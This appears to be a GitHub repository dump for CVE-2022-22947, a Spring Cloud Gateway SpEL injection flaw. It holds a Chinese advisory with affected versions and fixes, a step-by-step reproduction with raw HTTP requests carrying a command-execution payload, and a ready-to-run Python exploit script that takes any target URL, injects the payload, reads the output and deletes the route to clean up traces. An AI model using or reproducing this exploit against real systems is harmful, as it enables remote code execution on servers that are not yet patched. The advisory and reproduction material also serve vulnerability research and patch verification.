Full Code of lucksec/Spring-Cloud-Gateway-CVE-2022-22947 for AI

Repository: lucksec/Spring-Cloud-Gateway-CVE-2022-22947
Branch: main
Commit: 829c82bcb708
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Directory structure:
gitextract_rm2npuo3/

├── README.md
├── Spring Cloud Gateway Actuator API SpEL表达式注入命令执行（CVE-2022-22947）.md
└── spring_cloud_RCE.py

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FILE CONTENTS
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FILE: README.md
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# Spring-Cloud-Gateway-CVE-2022-22947


Spring Cloud Gateway远程代码执行漏洞的安全公告。该漏洞为当Spring Cloud Gateway启用和暴露 Gateway Actuator 端点时，使用 Spring Cloud Gateway 的应用程序可受到代码注入攻击。攻击者可以发送特制的恶意请求，从而远程执行任意代码。

【受影响版本】

Spring Cloud Gateway < 3.1.1
Spring Cloud Gateway < 3.0.7
Spring Cloud Gateway 旧的、不受支持的版本也会受到影响
【安全版本】

Spring Cloud Gateway >= 3.1.1
Spring Cloud Gateway >= 3.0.7


Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的 API 网关，它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式。



修复建议
临时修复建议：

如果不需要网关执行器端点，则应通过 management.endpoint.gateway.enabled: false 禁用它。如果需要执行器，则应使用 Spring Security 对其进行保护，请参阅https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints.security。

通用修复建议：

官方已发布安全版本，请及时下载更新，下载地址：https://github.com/spring-cloud/spring-cloud-gateway

## 
通过url进行攻击



使用python3 运行

<img width="831" alt="image" src="https://user-images.githubusercontent.com/59011386/156518437-ee1cbd8c-133a-4b4b-97af-8c0df6ab6538.png">


python3 

<img width="799" alt="image" src="https://user-images.githubusercontent.com/59011386/156515667-64f5c639-7a78-43c6-8414-18631f9c5272.png">

# 本网站所提供的信息，只供参考之用



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FILE: Spring Cloud Gateway Actuator API SpEL表达式注入命令执行（CVE-2022-22947）.md
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# Spring Cloud Gateway Actuator API SpEL表达式注入命令执行（CVE-2022-22947）

Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本（包含）以前存在一处SpEL表达式注入漏洞，当攻击者可以访问Actuator API的情况下，将可以利用该漏洞执行任意命令。

参考链接：

- https://tanzu.vmware.com/security/cve-2022-22947
- https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/

## 漏洞环境

执行如下命令启动一个使用了Spring Cloud Gateway 3.1.0的Web服务：

```
docker-compose up -d
```

服务启动后，访问`http://your-ip:8080`即可看到演示页面，这个页面的上游就是example.com。

## 漏洞复现

利用这个漏洞需要分多步。

首先，发送如下数据包即可添加一个包含恶意SpEL表达式的路由：

```
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 328

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}
  }],
"uri": "http://example.com",
"order": 0
}
```

[![img](https://github.com/vulhub/vulhub/raw/master/spring/CVE-2022-22947/1.png)](https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/1.png)

然后，发送如下数据包应用刚添加的路由。这个数据包将触发SpEL表达式的执行：

```
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
```

[![img](https://github.com/vulhub/vulhub/raw/master/spring/CVE-2022-22947/2.png)](https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/2.png)

发送如下数据包即可查看执行结果：

```
GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
```

[![img](https://github.com/vulhub/vulhub/raw/master/spring/CVE-2022-22947/3.png)](https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/3.png)

最后，发送如下数据包清理现场，删除所添加的路由：

```
DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
```

[![img](https://github.com/vulhub/vulhub/raw/master/spring/CVE-2022-22947/4.png)](https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/4.png)

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FILE: spring_cloud_RCE.py
================================================
import requests
import json
import sys


def exec(url):

    headers1 = {
        'Accept-Encoding': 'gzip, deflate',
        'Accept': '*/*',
        'Accept-Language': 'en',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
        'Content-Type': 'application/json'
    }

    headers2 = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
        'Content-Type': 'application/x-www-form-urlencoded'
    }

    ## command to execute replace "id" in payload

    payload = '''{\r
      "id": "hacktest",\r
      "filters": [{\r
        "name": "AddResponseHeader",\r
        "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\\"id\\"}).getInputStream()))}"}\r
        }],\r
      "uri": "http://example.com",\r
      "order": 0\r
    }'''

   

    
    re1 = requests.post(url=url + "/actuator/gateway/routes/hacktest",data=payload,headers=headers1,json=json)
    re2 = requests.post(url=url + "/actuator/gateway/refresh" ,headers=headers2)
    re3 = requests.get(url=url + "/actuator/gateway/routes/hacktest",headers=headers2)
    re4 = requests.delete(url=url + "/actuator/gateway/routes/hacktest",headers=headers2)
    re5 = requests.post(url=url + "/actuator/gateway/refresh" ,headers=headers2)
    print(re3.text)


if __name__ == "__main__":
  print('''   ██████  ██      ██ ████████        ████   ████   ████   ████         ████   ████   ████     ██  ██████
  ██░░░░██░██     ░██░██░░░░░        █░░░ █ █░░░██ █░░░ █ █░░░ █       █░░░ █ █░░░ █ █░░░ █   █░█ ░░░░░░█
 ██    ░░ ░██     ░██░██            ░    ░█░█  █░█░    ░█░    ░█      ░    ░█░    ░█░█   ░█  █ ░█      ░█
░██       ░░██    ██ ░███████  █████   ███ ░█ █ ░█   ███    ███  █████   ███    ███ ░ ████  ██████     █ 
░██        ░░██  ██  ░██░░░░  ░░░░░   █░░  ░██  ░█  █░░    █░░  ░░░░░   █░░    █░░   ░░░█  ░░░░░█     █  
░░██    ██  ░░████   ░██             █     ░█   ░█ █      █            █      █        █       ░█    █   
 ░░██████    ░░██    ░████████      ░██████░ ████ ░██████░██████      ░██████░██████  █        ░█   █    
  ░░░░░░      ░░     ░░░░░░░░       ░░░░░░  ░░░░  ░░░░░░ ░░░░░░       ░░░░░░ ░░░░░░  ░         ░   ░     



 ██                   ██                 ██                              
░██       ██   ██    ░██                ░██                              
░██      ░░██ ██     ░██ ██   ██  █████ ░██  ██  ██████  ███████   █████ 
░██████   ░░███      ░██░██  ░██ ██░░░██░██ ██  ██░░░░██░░██░░░██ ██░░░██
░██░░░██   ░██    ██ ░██░██  ░██░██  ░░ ░████  ░██   ░██ ░██  ░██░███████
░██  ░██   ██    ░░  ░██░██  ░██░██   ██░██░██ ░██   ░██ ░██  ░██░██░░░░ 
░██████   ██      ██ ███░░██████░░█████ ░██░░██░░██████  ███  ░██░░██████
░░░░░    ░░      ░░ ░░░  ░░░░░░  ░░░░░  ░░  ░░  ░░░░░░  ░░░   ░░  ░░░░░░ 

usage: python3 test.py url
''')
  if(len(sys.argv)>1):
    url = sys.argv[1]
    exec(url)
  else:
    exit()